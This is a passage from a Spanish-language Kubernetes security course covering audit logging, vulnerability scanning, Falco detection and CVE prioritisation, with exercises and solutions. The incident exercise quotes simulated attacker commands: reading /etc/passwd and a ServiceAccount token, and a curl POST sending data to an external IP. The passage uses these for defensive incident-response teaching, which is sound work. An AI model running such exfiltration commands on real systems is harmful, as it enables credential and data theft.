Y una recomendación práctica: automatiza la generación de evidencias. Un informe trimestral que se genera solo, con fecha y firma, vale más que un documento que alguien escribe a mano la semana antes de la auditoría.

#!/usr/bin/env bash
# seguridad/generar-evidencias-trimestrales.sh
TRIMESTRE=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidencias/$TRIMESTRE"
mkdir -p "$DIR"

echo "Generando evidencias para $TRIMESTRE..."

# 1. Quién puede acceder a Secrets de producción
{
  echo "# Permisos sobre Secrets en rutas-norte-pro — $(date -u)"
  for grupo in desarrollo plataforma soporte analitica; do
    for verbo in get list watch; do
      printf "%-12s %-6s %s\n" "$grupo" "$verbo" \
        "$(kubectl auth can-i "$verbo" secrets --as-group "$grupo" --as auditor -n rutas-norte-pro)"
    done
  done
} > "$DIR/permisos-secretos.txt"

# 2. Accesos reales registrados
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TODOS") \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log > "$DIR/accesos-secretos.txt"

# 3. Estado de vulnerabilidades
kubectl get vulnerabilityreports -A -o json \
  | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
  > "$DIR/vulnerabilidades.txt"

# 4. Excepciones vigentes
cp seguridad/excepciones-vulnerabilidades.yaml "$DIR/"

# 5. Cumplimiento del clúster
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"

# 6. Configuración de seguridad de los namespaces
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
  > "$DIR/perfiles-psa.txt"

echo "Evidencias generadas en $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"

El sha256sum final no es decorativo: permite demostrar que las evidencias no se han modificado después de generarse.

  1. Lista de verificación final de seguridad de la plataforma

Este es el resumen operativo de todo el módulo, componente a componente.

Controles transversales del clúster

# Control Lección Verificación
1 RBAC de mínimo privilegio, sin comodines 08-01 verificar-rbac.sh en cada cambio
2 Nadie tiene cluster-admin de forma permanente salvo emergencia registrada 08-01 Consulta trimestral de ClusterRoleBinding
3 Solo plataforma puede leer Secrets de producción 08-01 kubectl auth can-i por grupo
4 Operadores privilegiados en namespace propio 08-01, 08-03 Revisión de manifiestos
5 PSA enforce: restricted en pre y pro, baseline en dev 08-03 Etiquetas de los namespaces
6 Versión del PSA fijada (-version) 08-03 Etiquetas de los namespaces
7 Kyverno: registro obligatorio, etiquetas, recursos, firmas 08-03, 08-05 PolicyReport sin fail
8 ValidatingAdmissionPolicy prohibiendo latest 08-03 Prueba negativa
9 NetworkPolicy deny-all en los tres namespaces, generada por Kyverno 04-06, 08-04 Auditoría de políticas
10 Control de salida: solo pasarela de pagos y SMTP 08-04 verificar-salida.sh
11 Sin NodePort ni hostPort en producción 08-04 Auditoría de Services
12 apiserver no expuesto públicamente 08-04 kubectl cluster-info
13 etcd cifrado en reposo, con Secrets reescritos 08-04 Configuración del apiserver
14 Copias de seguridad de etcd cifradas y custodiadas 08-04, 05-06 Configuración de las copias
15 kubelet: sin auth anónima, sin puerto de solo lectura 08-04 kube-bench
16 Nodos de plano de control con taint y sin cargas de aplicación 08-04 Auditoría de tolerancias
17 Registro de auditoría activo, con política revisada 08-06 Informe diario
18 Falco desplegado en todos los nodos, con alerta si falla 08-06 Alerta FalcoNoEstaFuncionando
19 Trivy Operator con informes sin críticas sin excepción 08-06 vulnerabilityreports
20 kube-bench semanal con línea base conocida 08-06 CronJob

Por componente

Componente Sin root RootFS RO Caps ALL Seccomp Token SA Digest Firma NetPol E/S
tienda-web Sí (101) No monta Entrada Ingress / sin salida
api-reservas Sí (65532) Monta, RBAC mínimo Entrada tienda+Ingress / salida BD, caché, pasarela
Embajador pagos Sí (10004) (del pod) (del pod)
postgres-reservas Sí (999) No (excepción) No monta Entrada api+worker+informes / sin salida
Exportador métricas Sí (65534) (del pod) (del pod)
redis-cache Sí (999) No monta Entrada api / sin salida
worker-notificaciones Sí (10002) No monta Sin entrada / salida BD + SMTP
Adaptador logs Sí (10002) (del pod) (del pod)
informes-ocupacion Sí (10003) No monta Sin entrada / salida BD
Recolector logs No (root, justificado) DAC_READ_SEARCH Monta, RBAC lectura Namespace sistema

Excepciones vigentes y su justificación

Excepción Componente Justificación Revisión Responsable
readOnlyRootFilesystem: false postgres-reservas PostgreSQL escribe sockets y temporales fuera del volumen. Tarea abierta para resolverlo con emptyDir Trimestral Plataforma
hostPath en solo lectura Recolector de logs Necesita leer /var/log del nodo. En rutas-norte-sistema con perfil privileged Trimestral Plataforma
runAsUser: 0 Recolector de logs Los logs del nodo son de root. Mitigado: sin privilegios, solo DAC_READ_SEARCH, montaje de solo lectura Trimestral Plataforma
hostPID kube-bench (CronJob) Necesita inspeccionar la configuración del nodo. Solo lectura, ejecución semanal acotada Trimestral Plataforma
CVE-2025-98004 api-reservas, worker Sin corrección; ruta no ejecutada 2026-10-01 Plataforma
CVE-2026-10877 api-reservas Requiere migración de imagen base 2026-09-15 Equipo API

Una lista de excepciones que cabe en una tabla y en la que cada línea tiene motivo, fecha y responsable es la señal de una plataforma bien gestionada. Una lista que no existe, o que nadie ha mirado en un año, significa que las excepciones están igualmente ahí: simplemente no se conocen.

Errores Comunes y Consejos

Configurar RequestResponse sobre Secrets. Escribe el contenido del secreto en el log de auditoría. Las credenciales de la base de datos de clientes acabarían replicadas en el sistema de logs y en sus copias. Siempre Metadata para Secrets.

Registrarlo todo sin filtrar el ruido. El volumen se dispara, el disco se llena y —lo peor— si el apiserver no puede escribir el log de auditoría, deja de servir peticiones. Pon las reglas de None primero.

Enviar el registro de auditoría al mismo sistema donde escriben los pods. Quien comprometa el clúster puede manipular las evidencias. Debe ir a un destino donde el clúster solo pueda escribir.

Olvidar que el registro de auditoría contiene datos personales. Nombres de usuario e IP de empleados. Necesita su propia base legal, retención y control de acceso.

Escanear solo en la canalización. Una imagen limpia en junio tiene críticas en agosto. Escaneo continuo del registro y de lo que está corriendo.

Escanear los manifiestos en lugar de lo que corre. Escanea por imageID (el digest efectivo), que es lo que realmente se está ejecutando.

No usar --ignore-unfixed. Una vulnerabilidad sin parche bloquea todos los despliegues, el equipo se harta y desactiva la comprobación. Una puerta siempre cerrada acaba desmontada.

.trivyignore sin motivo, responsable ni fecha de caducidad. Se convierte en el cementerio de las vulnerabilidades que nadie quiso mirar.

Tratar todos los CVE críticos como igual de urgentes. Sin considerar exposición, ruta de ejecución y explotación real, el equipo se agota con lo irrelevante y llega tarde a lo importante.

Ignorar los hallazgos de kube-bench inaplicables en Kubernetes gestionado. Documéntalos como gestionados por el proveedor, no los borres en silencio.

Alertar de los mismos hallazgos conocidos cada semana. Compara con una línea base y alerta solo de las desviaciones nuevas.

Desplegar Falco y encaminar sus alertas a la guardia desde el primer día. Los falsos positivos iniciales harán que el equipo silencie el canal, y con él las alertas reales.

Desactivar una regla entera de Falco por un falso positivo. Usa excepciones acotadas por aplicación y proceso.

No vigilar que Falco esté funcionando. Un detector apagado no genera alertas, y la ausencia de alertas se confunde con la ausencia de problemas.

Tener herramientas sin proceso. Trescientos hallazgos sin inventario, prioridad, plazo ni responsable son trescientas cosas que nadie va a arreglar.

Generar las evidencias la semana antes de la auditoría. Automatízalas, con fecha y checksum. Además de ser más creíble, ahorra el pánico.

Consejo de oro: las tres preguntas que debes poder responder en cualquier momento, y con evidencia, son: ¿quién accedió a los datos de clientes?, ¿qué vulnerabilidades explotables tengo ahora mismo en lo que está corriendo? y ¿qué está pasando dentro de mis contenedores?. Auditoría, escaneo continuo y detección en tiempo de ejecución. Si te falta una, tienes un punto ciego.

Ejercicios

Ejercicio 1: escribir una regla de política de auditoría

El equipo de cumplimiento pide poder responder a esta pregunta: "¿quién ha modificado la configuración de los CronJobs de producción y qué cambió exactamente?". Además, quiere que las lecturas rutinarias de ConfigMaps por parte del kubelet dejen de ocupar espacio en el log.

  1. Escribe las dos reglas de política de auditoría necesarias, indicando dónde deben ir en el orden del fichero y por qué.
  2. Escribe la consulta jq que responde a la pregunta.
  3. Explica por qué el nivel elegido es el adecuado y qué habría pasado con los otros tres.

Ejercicio 2: priorizar cuatro hallazgos

El escaneo semanal devuelve estos cuatro hallazgos en producción:

# CVE Severidad Componente Imagen Estado Detalle
A CVE-2026-13001 CRITICAL (9.8) libxml2 postgres-reservas fixed Ejecución remota al analizar XML malformado. PostgreSQL usa libxml2 solo para el tipo de dato xml, que Rutas Norte no utiliza
B CVE-2026-13045 HIGH (8.1) express api-reservas fixed Confusión de tipos en el análisis de parámetros de consulta. En el catálogo KEV
C CVE-2026-12988 CRITICAL (9.4) openssl worker-notificaciones affected Sin corrección. Afecta a la verificación de certificados de cliente; el worker solo actúa como cliente TLS hacia el SMTP
D CVE-2026-13102 MEDIUM (5.3) nginx tienda-web fixed Divulgación de información en respuestas de error cuando server_tokens está activo

Para cada uno:

  1. Asigna una prioridad (P1-P5) según la tabla del apartado 10 y justifícala.
  2. Indica la acción concreta y el plazo.
  3. Para los que no se corrijan de inmediato, escribe la entrada del registro de excepciones.

Ejercicio 3: reconstruir un incidente con tres fuentes

A las 03:47 del 6 de agosto salta una alerta. Tienes tres fuentes de información:

Registro de auditoría:

03:47:09Z  system:serviceaccount:rutas-norte-pro:worker-notificaciones  list  secrets/-  403
03:47:14Z  system:serviceaccount:rutas-norte-pro:worker-notificaciones  create  pods/exec  403
03:47:31Z  system:serviceaccount:rutas-norte-pro:worker-notificaciones  get  configmaps/worker-config  200

Falco:

03:47:08.229 Critical Shell abierta en produccion (proceso=sh -c "cat /etc/passwd"
padre=node pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical Token de ServiceAccount leido por proceso inesperado
(proceso=cat /var/run/secrets/kubernetes.io/serviceaccount/token padre=sh
pod=worker-notificaciones-6d4f8b9c7-k9x2)
03:47:12.155 Critical Herramienta de descarga en produccion (proceso=curl -X POST
https://192.0.2.55/r -d @- padre=sh pod=worker-notificaciones-6d4f8b9c7-k9x2)

Hubble (de 08-04):

03:47:12.401 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:443  DROPPED  Policy denied
03:47:13.455 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:53   DROPPED  Policy denied
  1. Reconstruye la secuencia completa de lo ocurrido, con la hora de cada paso.
  2. Indica qué control detuvo cada intento y cuál habría sido el resultado si ese control no existiera.
  3. Hay un dato en las tres fuentes que revela algo importante sobre la imagen desplegada, que contradice la política de 08-05. Identifícalo.
  4. Escribe las cinco acciones inmediatas y las tres correcciones de fondo.

Soluciones

Solución 1

1. Las dos reglas:

apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  # ---------------------------------------------------------------
  # REGLA A: descartar el ruido del kubelet leyendo ConfigMaps.
  # DEBE IR AL PRINCIPIO del fichero, en el bloque de None.
  # Motivo: la política se evalúa en orden y se aplica la PRIMERA
  # regla que coincide. Si esta fuera después de la regla B o de
  # cualquier regla genérica, esas lecturas ya se habrían registrado.
  # ---------------------------------------------------------------
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["configmaps"]

  # ... (resto del bloque de None: sondas, controladores, eventos) ...

  # ---------------------------------------------------------------
  # REGLA B: escrituras sobre CronJobs de producción, con el cuerpo.
  # Va en el bloque de reglas específicas, ANTES de las reglas
  # genéricas de nivel Metadata que capturarían estas peticiones
  # con menos detalle.
  # ---------------------------------------------------------------
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    namespaces: ["rutas-norte-pro"]
    resources:
      - group: "batch"
        resources: ["cronjobs"]

  # ... (resto de reglas específicas) ...

  # Regla genérica final
  - level: Metadata

El razonamiento del orden es lo importante del ejercicio. Con la política evaluándose de arriba abajo y aplicando la primera coincidencia:

  • La regla A antes de todo: si estuviera al final, las lecturas del kubelet ya habrían coincidido con la regla genérica Metadata y estarían en el log.
  • La regla B antes de la genérica Metadata: si estuviera después, las escrituras sobre CronJobs se registrarían con nivel Metadata y no tendríamos el cuerpo, que es justo lo que pide el enunciado.

2. La consulta:

jq -r 'select(
    .objectRef.resource == "cronjobs" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb | test("create|update|patch|delete"))
  )
  | "=== \(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name)  [\(.responseStatus.code)]",
    "    programación: \(.requestObject.spec.schedule // "sin cambio")",
    "    imagen: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "sin cambio")",
    "    suspendido: \(.requestObject.spec.suspend // false)"' \
  /var/log/kubernetes/auditoria.log
=== 2026-08-05T18:22:41Z  [email protected]  patch  informes-ocupacion  [200]
    programación: 0 4 * * *
    imagen: registry.rutasnorte.example/rutasnorte/informes-ocupacion@sha256:8a3f...
    suspendido: false
=== 2026-08-06T02:11:09Z  system:serviceaccount:argocd:argocd-application-controller  patch  informes-ocupacion  [200]
    programación: 0 3 * * *
    imagen: registry.rutasnorte.example/rutasnorte/informes-ocupacion@sha256:8a3f...
    suspendido: false

Interpretación: alguien cambió la hora de ejecución de las 03:00 a las 04:00 por la tarde, y Argo CD la revirtió a las 02:11 porque el cambio no estaba en Git. Es exactamente el comportamiento esperado de GitOps (10-05), y el registro de auditoría lo documenta.

3. Por qué Request y no los otros:

Nivel Qué habría pasado
None No se registraría nada: no se podría responder a la pregunta
Metadata Sabríamos quién modificó el CronJob y cuándo, pero no qué cambió. La pregunta pide "y qué cambió exactamente"
Request Correcto: metadatos más el objeto enviado, que contiene la programación, la imagen y el resto de la especificación
RequestResponse Añadiría el objeto devuelto por el servidor, que para un patch es prácticamente el mismo objeto ya aplicado. Duplica el tamaño sin aportar información útil

Un matiz para completar la respuesta: con Request vemos el objeto enviado, que en un patch puede ser solo el fragmento modificado, no el objeto completo. Si se necesitara el estado resultante completo, RequestResponse sería justificable. Para CronJobs no hay riesgo de datos personales en el cuerpo, así que sería una opción aceptable; simplemente no es necesaria.

Solución 2

Hallazgo B — CVE-2026-13045 (express, api-reservas)

Factor Valoración
Severidad HIGH (8.1)
¿Corrección?
¿En KEV? Sí: explotación confirmada
Exposición api-reservas atiende peticiones de internet a través del Ingress
Ruta de ejecución : el análisis de parámetros de consulta se ejecuta en cada petición
Datos afectados Da acceso potencial a la API que sirve datos de clientes

Prioridad: P1. Plazo: 24 horas.

Aunque su CVSS (8.1) es inferior al de los dos críticos, es el más urgente de los cuatro: está en el catálogo de vulnerabilidades explotadas activamente, afecta a un componente expuesto a internet, la ruta vulnerable se ejecuta en cada petición y da acceso a datos personales. Es el ejemplo canónico de por qué la severidad sola no basta para priorizar.

Acción: actualizar express a la versión corregida, reconstruir api-reservas, escanear, firmar y desplegar hoy mismo. Si el ciclo completo no cupiera en 24 horas, mitigar mientras tanto con una regla del WAF (08-04) que rechace el patrón de petición afectado.


Hallazgo D — CVE-2026-13102 (nginx, tienda-web)

Factor Valoración
Severidad MEDIUM (5.3)
¿Corrección?
Exposición tienda-web está expuesto a internet
Ruta de ejecución Solo si server_tokens está activo
Compensación Comprobable de inmediato

Prioridad: P4 (90 días), con una mitigación inmediata de coste cero.

Acción: primero comprobar la configuración:

kubectl exec -n rutas-norte-pro deploy/tienda-web -- \
  grep -r server_tokens /etc/nginx/ || echo "no configurado (valor por defecto: on)"

Si está activo, desactivarlo en el ConfigMap de nginx es un cambio de una línea que elimina la exposición hoy, independientemente de la corrección. Después, la actualización de la imagen entra en el ciclo normal de reconstrucción semanal.

Es un buen ejemplo de que la mitigación de configuración puede ser más rápida que el parche, y no debe descartarse por ser "menos definitiva".


Hallazgo A — CVE-2026-13001 (libxml2, postgres-reservas)

Factor Valoración
Severidad CRITICAL (9.8)
¿Corrección?
¿En KEV? No
Exposición postgres-reservas no es alcanzable desde internet (NetworkPolicy de 08-04)
Ruta de ejecución No: requiere el tipo de dato xml, que no se usa
Datos afectados Si se explotara, acceso total a los datos de clientes

Prioridad: P3 (30 días).

Es CRITICAL con 9.8, y aun así no es urgente: la ruta vulnerable requiere procesar XML, y el esquema de Rutas Norte no tiene ninguna columna de tipo xml. Además, el componente no es alcanzable desde fuera del clúster.

Pero hay dos matices importantes que impiden bajarlo más:

  1. La verificación de que no se usa XML debe ser comprobada, no supuesta. Hay que ejecutar una consulta que confirme que ninguna tabla usa ese tipo:
    SELECT table_name, column_name, data_type
    FROM information_schema.columns
    WHERE data_type = 'xml';
    
  2. Si se explotara, el impacto sería máximo: son los datos personales de todos los clientes. Cuando el impacto potencial es ese, no se baja de P3 aunque la explotabilidad sea baja.

Acción: actualizar la imagen replicada de PostgreSQL en el ciclo mensual de imágenes externas/.


Hallazgo C — CVE-2026-12988 (openssl, worker-notificaciones)

Factor Valoración
Severidad CRITICAL (9.4)
¿Corrección? No: affected, sin parche disponible
Ruta de ejecución No: afecta a la verificación de certificados de cliente, y el worker solo actúa como cliente
Exposición Sin entrada de red (NetworkPolicy de 08-04)

Prioridad: P5 → requiere excepción documentada.

No hay corrección disponible, así que no hay acción posible más allá de vigilar. Y la ruta afectada no se ejecuta: la verificación de certificados de cliente es lo que hace un servidor TLS, y worker-notificaciones solo abre conexiones salientes hacia el SMTP.

Entrada del registro de excepciones:

  - cve: CVE-2026-12988
    componente: openssl
    imagenes: ["rutasnorte/worker-notificaciones"]
    severidad: CRITICAL
    cvss: 9.4
    estado_correccion: affected   # sin parche del mantenedor
    motivo: >-
      La vulnerabilidad afecta a la ruta de verificación de certificados de
      CLIENTE, que solo se ejecuta cuando el proceso actúa como servidor TLS.
      worker-notificaciones únicamente abre conexiones salientes hacia el
      servidor SMTP del proveedor, actuando siempre como cliente. La ruta de
      código vulnerable no se ejecuta.
      Verificado por: revisión del código de la aplicación y del SBOM.
    mitigacion: >-
      El componente no acepta conexiones entrantes (NetworkPolicy sin reglas
      de Ingress, 08-04). Corre sin root, con capacidades eliminadas y sistema
      de ficheros de solo lectura (08-02).
    aprobada_por: seguridad
    responsable: plataforma
    fecha_aprobacion: 2026-08-06
    fecha_caducidad: 2026-09-06     # revisión mensual: puede salir el parche
    revision: mensual
    seguimiento: >-
      Comprobar semanalmente si el mantenedor publica corrección. En cuanto
      exista, esta excepción se cierra y pasa a P2.

Resumen de prioridades:

Orden Hallazgo CVSS Prioridad Plazo
1 Bexpress 8.1 P1 24 h
2 Dnginx 5.3 P4 + mitigación hoy Mitigar hoy, parchear en 90 días
3 Alibxml2 9.8 P3 30 días
4 Copenssl 9.4 P5 (excepción) Vigilancia mensual

El orden no coincide con el de los CVSS. Esa es exactamente la lección: priorizar por severidad abstracta habría puesto A y C primero (los dos CRITICAL) y B en tercer lugar, retrasando la única que se está explotando activamente en un componente expuesto a internet.

Solución 3

1. Reconstrucción de la secuencia

Hora Fuente Qué ocurrió
03:47:08.229 Falco Se lanza sh -c "cat /etc/passwd" con node como proceso padre. El proceso de la aplicación ha ejecutado un intérprete de órdenes: es el momento del compromiso, probablemente una inyección de órdenes a través de la aplicación
03:47:09.884 Falco Desde esa shell se lee el token de la ServiceAccount: fase de reconocimiento, busca credenciales
03:47:09 Auditoría Usa ese token: intenta list secrets en el namespace → 403
03:47:12.155 Falco Ejecuta curl -X POST https://192.0.2.55/r -d @-: intento de exfiltración hacia una IP externa
03:47:12.401 Hubble Esa conexión al puerto 443 → DROPPED, Policy denied
03:47:13.455 Hubble Reintento por el puerto 53 (técnica para atravesar cortafuegos permisivos) → DROPPED
03:47:14 Auditoría Cambia de estrategia: intenta create pods/exec para saltar a otro pod → 403
03:47:31 Auditoría Se conforma con lo que sí puede: lee configmaps/worker-config200

Secuencia clásica y completa en 23 segundos: compromiso → reconocimiento de credenciales → intento de escalada → intento de exfiltración → intento de movimiento lateral → repliegue a lo que sí está permitido.

2. Qué detuvo cada intento

Intento Control que lo detuvo Lección Sin ese control
Listar secretos RBAC: la SA del worker no tiene permiso sobre secrets 08-01 Habría obtenido las credenciales de postgres-reservas: acceso directo a los datos personales de todos los clientes
Exfiltrar por HTTPS NetworkPolicy de egreso: el worker solo puede salir al SMTP 08-04 Los datos que ya tenía habrían salido del clúster. Fuga de datos consumada
Exfiltrar por el 53 La misma política 08-04 Ídem
pods/exec en otro pod RBAC: la SA no tiene ese subrecurso 08-01 Movimiento lateral a api-reservas o a postgres-reservas
Leer el ConfigMap Nada: era un permiso legítimo (Ocurrió)

Los cuatro controles del módulo funcionaron. Y las tres fuentes de detección funcionaron: Falco vio lo que pasaba dentro del contenedor, la auditoría vio los intentos contra la API, y Hubble vio los intentos contra la red. Ninguna de las tres, por sí sola, contaba la historia completa.

3. El dato que contradice la política de 08-05

Hay un intérprete de órdenes (sh) y hay curl dentro de la imagen de worker-notificaciones.

Según la política de imágenes de 08-05, worker-notificaciones debía construirse sobre gcr.io/distroless/nodejs22, que no contiene shell ni ninguna utilidad. Que el atacante haya podido ejecutar sh -c y curl demuestra que la imagen desplegada no es distroless.

Las implicaciones son serias y hay que investigarlas:

  • ¿Se cambió el Dockerfile sin que nadie lo revisara?
  • ¿Se desplegó una imagen de otra procedencia? (la verificación de firma debería haberlo impedido)
  • ¿La política de Kyverno de 08-05 está en Audit en lugar de Enforce?
  • ¿El digest desplegado coincide con el que la canalización firmó?

Y hay una lección de fondo muy valiosa: la imagen mínima no es solo una reducción de superficie de vulnerabilidades, es una reducción de capacidad del atacante. Con distroless, los pasos de 03:47:08 y 03:47:12 habrían sido imposibles: no hay sh que lanzar ni curl que ejecutar. El compromiso inicial habría ocurrido igual, pero el atacante se habría quedado con un proceso de Node y ninguna herramienta.

Comprobación inmediata:

# ¿Qué digest está corriendo realmente?
kubectl get pod -n rutas-norte-pro worker-notificaciones-6d4f8b9c7-k9x2 \
  -o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'

# ¿Coincide con el que firmó la canalización?
cosign verify \
  --certificate-identity-regexp "https://git.rutasnorte.example/plataforma/.*" \
  --certificate-oidc-issuer "https://git.rutasnorte.example" \
  "<el digest anterior>"

# ¿La imagen tiene shell?
trivy image --list-all-pkgs "<el digest>" | grep -E 'busybox|bash|coreutils|curl'

4. Acciones inmediatas y correcciones de fondo

Cinco acciones inmediatas (primeros 30 minutos):

# Acción Orden
1 Aislar el pod sin destruirlo kubectl label pod -n rutas-norte-pro worker-notificaciones-6d4f8b9c7-k9x2 app- estado=en-cuarentena (el ReplicaSet crea uno limpio automáticamente)
2 Aplicar la NetworkPolicy de cuarentena La del ejercicio de 08-04: denegación total para estado: en-cuarentena
3 Rotar las credenciales accesibles desde ese pod Credenciales de la BD que usaba, credenciales SMTP, y el token de su ServiceAccount
4 Determinar el alcance con las tres fuentes Auditoría, Falco y Hubble de las últimas 72 horas para ese pod y para todos los del namespace
5 Notificar al responsable de cumplimiento Hay indicios de intento de acceso a datos personales; los plazos de notificación empiezan al conocerse el hecho

Tres correcciones de fondo:

# Corrección Por qué
1 Investigar y corregir la imagen no conforme. Verificar que el Dockerfile usa distroless, que la política de verificación de firmas está en Enforce y que el digest desplegado es el firmado Es la desviación que amplió la capacidad del atacante. Sin resolverla, el siguiente incidente será igual
2 Encontrar y cerrar el vector de entrada. El padre de la shell era node: hay una inyección de órdenes en el código del worker. Revisar el código, escanear las dependencias, aplicar el proceso de gestión de vulnerabilidades del apartado 10 Todo lo demás fue contención; esto es la causa
3 Revisar los permisos del worker. Necesitaba configmaps/worker-config y nada más. Verificar con kubectl auth can-i --list que no tiene permisos de más, y confirmar que su NetworkPolicy solo permite BD y SMTP Aplicar la lección del incidente al resto de componentes

Y una cuarta que no es técnica pero es igual de importante: documentar el incidente completo con su cronología, los controles que funcionaron, los que faltaron y las acciones tomadas. Es evidencia para la auditoría, material de formación para el equipo y la base para la revisión trimestral de seguridad.

Conclusión

Con esta lección cerramos el módulo 8 y las dos preguntas que quedaban abiertas:

  • El registro de auditoría del apiserver responde a "¿quién hizo qué?". Su política tiene cuatro niveles —None, Metadata, Request, RequestResponse— y se evalúa en orden, aplicando la primera regla que coincide. Para Secrets, siempre Metadata: RequestResponse escribiría las credenciales de la base de datos de clientes en el log. Destinos de fichero y de webhook, y el webhook debe apuntar a un sistema donde el clúster solo pueda escribir.
  • Con jq sobre el fichero se responde a preguntas concretas en segundos: quién leyó las credenciales, quién borró aquel Deployment, qué hizo esa ServiceAccount, quién entró en un contenedor de producción, quién cambió el RBAC. Y los 403 registrados son señales de detección, no no-eventos.
  • Trivy escanea imágenes localmente, en la canalización con umbral que rompe la construcción (con --ignore-unfixed, o la puerta acaba desmontada) y de forma continua sobre lo que está corriendo por digest. El Trivy Operator lo automatiza dentro del clúster y publica los resultados como recursos personalizados que se integran con Prometheus.
  • kube-bench evalúa la configuración del clúster contra los estándares CIS. Sus hallazgos se gestionan comparando con una línea base conocida, y los inaplicables en Kubernetes gestionado se documentan, no se ignoran.
  • Falco aporta la detección en tiempo de ejecución que ningún control preventivo puede dar, observando llamadas al sistema. Sus mejores reglas no son genéricas: son el reflejo de las decisiones de diseño de las lecciones anteriores —sin shell porque usamos distroless, sin escritura en el sistema porque el rootfs es de solo lectura, sin lectura de tokens porque los desmontamos—. Sus alertas se integran con el Alertmanager del módulo 7, y hay que vigilar que Falco esté funcionando.
  • Y lo que de verdad falta en la mayoría de equipos: la gestión de vulnerabilidades como proceso, con inventario, priorización realista (no todo CVE crítico es urgente: cuentan la explotación real, la exposición y la ruta de ejecución), plazos por severidad, responsable asignado y excepciones documentadas con fecha de caducidad que bloqueen la construcción al vencer.
  • Las evidencias se generan automáticamente, con fecha y checksum, no la semana antes de la auditoría. Y el propio registro de auditoría contiene datos personales de los empleados: necesita su base legal, su retención y su control de acceso.

La lista de verificación final recorre los veinte controles transversales del clúster y los diez componentes de Rutas Norte, con sus excepciones vigentes, cada una con motivo, fecha de revisión y responsable.

Con esto, la plataforma Rutas Norte es segura y observable. Sabemos quién puede hacer qué, qué puede hacer cada contenedor, qué habla con qué, qué se ejecuta exactamente, quién hace qué y qué está ocurriendo dentro. Y cuando algo falla, hay tres fuentes independientes que lo cuentan.

Pero hay algo que hemos arrastrado durante ocho módulos sin cuestionarlo. Mira el manifiesto de api-reservas: replicas: 4. Cuatro. Un número que alguien escribió a mano un día, mirando el tráfico de aquel momento. tienda-web tiene tres. worker-notificaciones, dos.

Esos números están congelados. No cambian cuando a las tres de la tarde de un martes de febrero sobra la mitad de la capacidad, ni cuando el puente de mayo llega y medio país decide comprar billetes de autobús el mismo jueves por la tarde. La plataforma está perfectamente protegida y perfectamente incapaz de adaptarse a su propia carga. Y una plataforma que no responde cuando más se la necesita ha fallado igual que si la hubieran atacado: los clientes no compran billetes, y da igual que sea por un incidente de seguridad o por saturación.

El módulo 9, Escalado y Rendimiento, resuelve exactamente eso: autoescalado horizontal de pods según la carga real, autoescalado vertical para ajustar las peticiones de recursos, autoescalado del propio clúster cuando los nodos no dan más, escalado por eventos y métricas personalizadas con KEDA, alta disponibilidad con PodDisruptionBudgets y distribución por topología, y el ajuste fino de rendimiento. Empezamos por el más importante: 09-01, Autoescalado Horizontal de Pods.

Curso de Kubernetes

Módulo 1: Introducción a Kubernetes

Módulo 2: Componentes Principales de Kubernetes

Módulo 3: Gestión de Configuración y Secretos

Módulo 4: Redes en Kubernetes

Módulo 5: Almacenamiento en Kubernetes

Módulo 6: Conceptos Avanzados de Kubernetes

Módulo 7: Monitoreo y Registro

Módulo 8: Seguridad en Kubernetes

Módulo 9: Escalado y Rendimiento

Módulo 10: Ecosistema y Herramientas de Kubernetes

Módulo 11: Estudios de Caso y Aplicaciones del Mundo Real

Módulo 12: Preparación para la Certificación de Kubernetes

© Copyright 2026. Todos los derechos reservados